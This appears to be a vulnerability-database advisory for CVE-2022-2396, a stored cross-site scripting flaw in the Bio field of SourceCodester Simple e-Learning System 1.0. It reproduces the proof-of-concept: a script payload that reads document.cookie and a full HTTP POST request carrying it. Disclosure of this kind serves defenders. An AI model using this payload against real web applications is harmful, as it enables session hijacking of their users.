A vulnerability classified as problematic was found in SourceCodester Simple e-Learning System 1.0 (Learning Management Software). Affected by this vulnerability is some unknown functionality of the file /vcs/claire_blake. The manipulation of the argument Bio with the input value "><script>alert(document.cookie)</script> leads to a cross site scripting vulnerability. The CWE definition for the vulnerability is CWE-79. The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. As an impact it is known to affect integrity.

The weakness was shared 07/13/2022. It is possible to read the advisory at github.com. This vulnerability is known as CVE-2022-2396. It demands that the victim is doing some kind of user interaction. Technical details and also a public exploit are known. The attack technique deployed by this issue is T1059.007 according to MITRE ATT&CK.

It is possible to download the exploit at github.com. It is declared as proof-of-concept. The code used by the exploit is:

POST /vcs/claire_blake HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vcs/claire_blake
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=2vbf8fv8l1iaabtd45grgqt809
Connection: close

firstName=Claire&lastName=Blake&phoneNumber=2147483647&bio=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&profile-updateBtn=Update

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The entries VDB-19142, VDB-114093 and VDB-205822 are related to this item.

Productinfo

Type

• Learning Management Software

Vendor

• SourceCodester

Name

• Simple e-Learning System

Version

• 1.0

License

• free

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #41291: Simple e-Learning System 1.0 Stored Cross-Site Scripting (by cyberthoth)

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